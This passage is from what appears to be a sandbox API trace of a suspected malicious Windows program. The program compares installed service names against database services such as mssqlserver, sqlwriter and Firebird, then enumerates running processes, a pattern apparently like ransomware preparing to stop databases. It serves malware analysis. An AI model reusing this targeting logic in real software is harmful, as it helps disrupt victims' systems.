lpString2="LanmanWorkstation") returned 1 [0181.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0181.173] lstrlenW (lpString="lfsvc") returned 5 [0181.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0181.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0181.173] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0181.173] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0181.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0181.173] lstrlenW (lpString="lmhosts") returned 7 [0181.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0181.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0181.173] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0181.174] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0181.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0181.174] lstrlenW (lpString="LSM") returned 3 [0181.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0181.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0181.470] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0181.470] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0181.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0181.470] lstrlenW (lpString="MpsSvc") returned 6 [0181.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0181.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0181.470] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0181.470] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0181.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0181.470] lstrlenW (lpString="NcbService") returned 10 [0181.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0181.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0181.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0181.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0181.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0181.470] lstrlenW (lpString="netprofm") returned 8 [0181.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0181.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0181.470] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0181.470] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0181.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0181.470] lstrlenW (lpString="NgcSvc") returned 6 [0181.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0181.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0181.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0181.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0181.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0181.471] lstrlenW (lpString="NlaSvc") returned 6 [0181.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0181.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0181.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0181.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0181.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0181.471] lstrlenW (lpString="nsi") returned 3 [0181.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0181.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0181.471] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0181.471] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0181.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0181.471] lstrlenW (lpString="PcaSvc") returned 6 [0181.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0181.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0181.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0181.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0181.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0181.471] lstrlenW (lpString="PlugPlay") returned 8 [0181.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0181.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0181.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0181.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0181.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0181.471] lstrlenW (lpString="Power") returned 5 [0181.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0181.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0181.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0181.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0181.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0181.472] lstrlenW (lpString="ProfSvc") returned 7 [0181.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0181.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0181.472] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0181.472] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0181.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0181.472] lstrlenW (lpString="RpcEptMapper") returned 12 [0181.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.472] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0181.473] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0181.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0181.473] lstrlenW (lpString="RpcSs") returned 5 [0181.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0181.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0181.473] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0181.473] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0181.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0181.474] lstrlenW (lpString="SamSs") returned 5 [0181.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0181.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0181.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0181.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0181.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0181.474] lstrlenW (lpString="Schedule") returned 8 [0181.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0181.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0181.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0181.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0181.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0181.474] lstrlenW (lpString="SecurityHealthService") returned 21 [0181.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0181.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0181.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0181.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0181.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0181.474] lstrlenW (lpString="SENS") returned 4 [0181.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0181.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0181.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0181.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0181.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0181.475] lstrlenW (lpString="ShellHWDetection") returned 16 [0181.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.475] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0181.475] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0181.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0181.475] lstrlenW (lpString="Spooler") returned 7 [0181.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0181.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0181.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0181.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0181.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0181.475] lstrlenW (lpString="StateRepository") returned 15 [0181.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0181.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0181.475] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0181.475] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0181.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0181.475] lstrlenW (lpString="SysMain") returned 7 [0181.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0181.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0181.475] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0181.475] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0181.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0181.476] lstrlenW (lpString="SystemEventsBroker") returned 18 [0181.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0181.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0181.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0181.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0181.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0181.476] lstrlenW (lpString="Themes") returned 6 [0181.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0181.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0181.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0181.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0181.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0181.476] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0181.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0181.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0181.476] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0181.476] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0181.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0181.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x51c [0181.484] Process32FirstW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.485] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0181.486] lstrlenW (lpString="System") returned 6 [0181.486] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0181.487] lstrlenW (lpString="smss.exe") returned 8 [0181.487] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.489] lstrlenW (lpString="csrss.exe") returned 9 [0181.489] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0181.490] lstrlenW (lpString="wininit.exe") returned 11 [0181.490] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.491] lstrlenW (lpString="csrss.exe") returned 9 [0181.491] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0181.495] lstrlenW (lpString="winlogon.exe") returned 12 [0181.495] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0181.496] lstrlenW (lpString="services.exe") returned 12 [0181.496] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0181.497] lstrlenW (lpString="lsass.exe") returned 9 [0181.497] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0181.498] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0181.499] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0181.500] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0181.500] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.501] lstrlenW (lpString="svchost.exe") returned 11 [0181.501] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.502] lstrlenW (lpString="svchost.exe") returned 11 [0181.503] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0181.505] lstrlenW (lpString="dwm.exe") returned 7 [0181.505] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.506] lstrlenW (lpString="svchost.exe") returned 11 [0181.506] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.507] lstrlenW (lpString="svchost.exe") returned 11 [0181.507] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.509] lstrlenW (lpString="svchost.exe") returned 11 [0181.509] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.796] lstrlenW (lpString="svchost.exe") returned 11 [0181.796] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.798] lstrlenW (lpString="svchost.exe") returned 11 [0181.798] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.799] lstrlenW (lpString="svchost.exe") returned 11 [0181.799] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.800] lstrlenW (lpString="svchost.exe") returned 11 [0181.801] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.802] lstrlenW (lpString="svchost.exe") returned 11 [0181.802] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.804] lstrlenW (lpString="svchost.exe") returned 11 [0181.804] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.805] lstrlenW (lpString="svchost.exe") returned 11 [0181.805] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0181.806] lstrlenW (lpString="spoolsv.exe") returned 11 [0181.806] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.807] lstrlenW (lpString="svchost.exe") returned 11 [0181.808] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0181.809] lstrlenW (lpString="audiodg.exe") returned 11 [0181.809] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0181.810] lstrlenW (lpString="taskhostw.exe") returned 13 [0181.810] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0181.812] lstrlenW (lpString="sihost.exe") returned 10 [0181.812] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.813] lstrlenW (lpString="svchost.exe") returned 11 [0181.814] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0181.815] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0181.815] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0181.817] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0181.817] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0181.818] lstrlenW (lpString="Memory Compression") returned 18 [0181.818] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0181.819] lstrlenW (lpString="taskhostw.exe") returned 13 [0181.819] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0181.821] lstrlenW (lpString="msoia.exe") returned 9 [0181.821] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0181.822] lstrlenW (lpString="explorer.exe") returned 12 [0181.822] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0181.824] lstrlenW (lpString="SearchUI.exe") returned 12 [0181.824] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0181.825] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0181.825] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: 